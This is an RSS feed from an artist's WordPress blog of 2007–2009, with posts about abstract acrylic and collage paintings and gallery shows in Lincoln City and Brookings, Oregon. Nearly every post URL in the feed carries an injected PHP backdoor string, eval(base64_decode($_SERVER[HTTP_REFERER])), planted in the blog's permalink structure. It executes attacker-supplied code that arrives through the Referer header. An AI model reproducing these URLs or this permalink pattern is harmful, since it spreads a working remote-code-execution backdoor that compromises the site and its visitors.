Stephanie Willis Studio http://stephaniewillisstudio.com Abstract collage and acrylic paintings Sun, 08 Mar 2009 04:01:09 +0000 http://wordpress.org/?v=2.7.1 en hourly 1 Blueprint abstract painting http://stephaniewillisstudio.com/2009/03/07/blueprint-abstract-painting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2009/03/07/blueprint-abstract-painting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 07 Mar 2009 21:35:15 +0000 Stephanie http://stephaniewillisstudio.com/?p=64
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Blueprint, abstract acrylic painting. 24×30″ (c) 2007 Stephanie G. Willis

This painting in shades of blue and violet with a meandering grid-like scratched surface reminds me of old architectural blueprints. This particular painting was the first in a series of Blueprint paintings, which are part of a larger body of work that utilizes lines scratched into the surface of the paint. These grooves catch the paint and highlight the linear surfaces of the paintings.

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]]> http://stephaniewillisstudio.com/2009/03/07/blueprint-abstract-painting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ “Dusk, Dawn and Noon” original painting by Stephanie Willis http://stephaniewillisstudio.com/2009/03/01/dusk-dawn-and-noon-original-painting-by-stephanie-willis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2009/03/01/dusk-dawn-and-noon-original-painting-by-stephanie-willis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 01 Mar 2009 22:42:00 +0000 Stephanie http://stephaniewillisstudio.com/?p=45
“Dusk, Dawn and Noon” original painting by Stephanie Willis
60×72″ Mixed media acrylic on canvas

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The Narrows

The Narrows is 48×36″, copyright 2007 Stephanie G. Willis

]]> http://stephaniewillisstudio.com/2008/04/21/the-narrows/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ A New Tryptich http://stephaniewillisstudio.com/2008/04/09/a-new-tryptich/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2008/04/09/a-new-tryptich/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Apr 2008 06:35:07 +0000 Stephanie http://stephaniewillisstudio.com/2008/04/09/a-new-tryptich/ Dusk, Midday and Dawn are the titles of this tryptich depicting the progression of the sun. I love this technique of thin watercolor-type washes over a scratched and textured acrylic foundation. These canvases are 60×24″ each and this tryptich is at Freed Gallery in Lincoln City, Oregon.

Dusk Midday Dawn

]]> http://stephaniewillisstudio.com/2008/04/09/a-new-tryptich/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ New work at Freed Gallery http://stephaniewillisstudio.com/2008/03/27/new-work-at-freed-gallery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2008/03/27/new-work-at-freed-gallery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 27 Mar 2008 23:41:38 +0000 Stephanie http://stephaniewillisstudio.com/2008/03/27/new-work-at-freed-gallery/ Here are a couple of new pieces delivered to the Freed Gallery in Lincoln City this week. I like to work on a heavily textured canvas and sometimes add collaged elements to the mix, too. This one, Paleolithic Mapquest, reminds me of a cave painting, if cavemen had roads and maps! The colors and the incised lines are very appealing to me, but I am not sure if it is too somber?

Paleolithic Mapquest

I also have the 2nd in the Cyberspace series, Cyberspace II which I have been working on for over a year. It has the incised textures and also a collage of squares of various textured papers, which have been covered in gold and copper leaf, then glazed over. This series is inspired by how I think about the stream of electronic information and how some bits (bytes) occasionally escape from the stream and meander into that vast uncharted ether. It is my visualization of what has occurred when a file won’t open. Most people think it is a landscape, and that’s a legitimate connection.

Cyberspace II

]]> http://stephaniewillisstudio.com/2008/03/27/new-work-at-freed-gallery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Freed Gallery Show http://stephaniewillisstudio.com/2007/07/10/freed-gallery-show/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2007/07/10/freed-gallery-show/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 10 Jul 2007 17:39:59 +0000 Stephanie http://stephaniewillisstudio.com/2007/07/10/freed-gallery-show/ Freed Gallery Show July, 2007 The show looks wonderful! The reception was well-attended with lots of interest and quite a few sales. I sold Blueprint #2 on the right of this photo. The show remains up until the 28th of July. For more information please call the Freed Gallery at 541-994-5600. Show hours are 10-5 daily, closed Tuesdays.

]]> http://stephaniewillisstudio.com/2007/07/10/freed-gallery-show/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ EXCAVATION selected for American Art Collector 2007 publication http://stephaniewillisstudio.com/2007/06/25/excavation-selected-for-american-art-collector-2007-publication/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2007/06/25/excavation-selected-for-american-art-collector-2007-publication/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 25 Jun 2007 02:57:08 +0000 Stephanie http://stephaniewillisstudio.com/2007/06/25/excavation-selected-for-american-art-collector-2007-publication/ EXCAVATION selected for American Art Collector 2007 publication
EXCAVATION, 40×30″ acrylic, collage on canvas, (c) 2006

This painting, which was previously posted on this blog, will be featured in The American Art Collector 2007, an annual publication with juried art from across the nation. Expected publication date is October, 2007

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Sgraffito #1Sgraffito#1, 48×30″ acrylic, collage on canvas.

Enlightenment #4I am also continuing my work on the Enlightenment series. This also has a surface of gracefully arcing textured grooves, but is also dependent upon a underpainting of watercolor like washes. This is Enlightenment #4, 48×48″ acrylic on canvas (c)2007

]]> http://stephaniewillisstudio.com/2007/06/23/work-delivered-to-freed-gallery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ “A Family Affair” opening at the Freed Gallery in Lincoln City, Oregon July 7, 2007 http://stephaniewillisstudio.com/2007/06/12/a-family-affair-opening-at-the-freed-gallery-in-lincoln-city-oregon-july-7-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2007/06/12/a-family-affair-opening-at-the-freed-gallery-in-lincoln-city-oregon-july-7-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 12 Jun 2007 05:02:49 +0000 Stephanie http://stephaniewillisstudio.com/2007/06/12/a-family-affair-opening-at-the-freed-gallery-in-lincoln-city-oregon-july-7-2007/ Jim, Stephanie, and Shannon Willis will be featured in a month-long exhibition, entitled “A Family Affair” opening Saturday, July 7, 2007 at the Freed Gallery in Lincoln City. You are invited to view their newest works and meet the artists at the opening reception from 3-5pm at the Freed Gallery, 6119 SW Hwy 101, Lincoln City, OR 97367. The painters Satsuko & Earl Hamilton, and Ken Dust & Sandra Fraser-Dust will also be featured. For additional information call 541-994-5600 for details or go to http://www.freedgallery.com.

Sgraffito #2

Sgraffito #2 acrylic and collage on canvas, (c)2007 Stephanie Willis

]]> http://stephaniewillisstudio.com/2007/06/12/a-family-affair-opening-at-the-freed-gallery-in-lincoln-city-oregon-july-7-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ New work at Eye For Art gallery in Brookings, OR http://stephaniewillisstudio.com/2007/06/12/new-work-at-eye-for-art-gallery-in-brookings-or/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://stephaniewillisstudio.com/2007/06/12/new-work-at-eye-for-art-gallery-in-brookings-or/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 12 Jun 2007 00:38:58 +0000 Stephanie http://stephaniewillisstudio.com/2007/06/12/new-work-at-eye-for-art-gallery-in-brookings-or/ My abstract painting group, PDX!WAM, is featured at the Eye For Art gallery in Brookings, Oregon from June through July. Our show is entitled Seeing Red! and explores the many moods of the color red.

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If you are in the Brookings area, near the California border on the beautiful Oregon coast, stop by the gallery and take a look. For more information about this show call the gallery at 541-469-2985.

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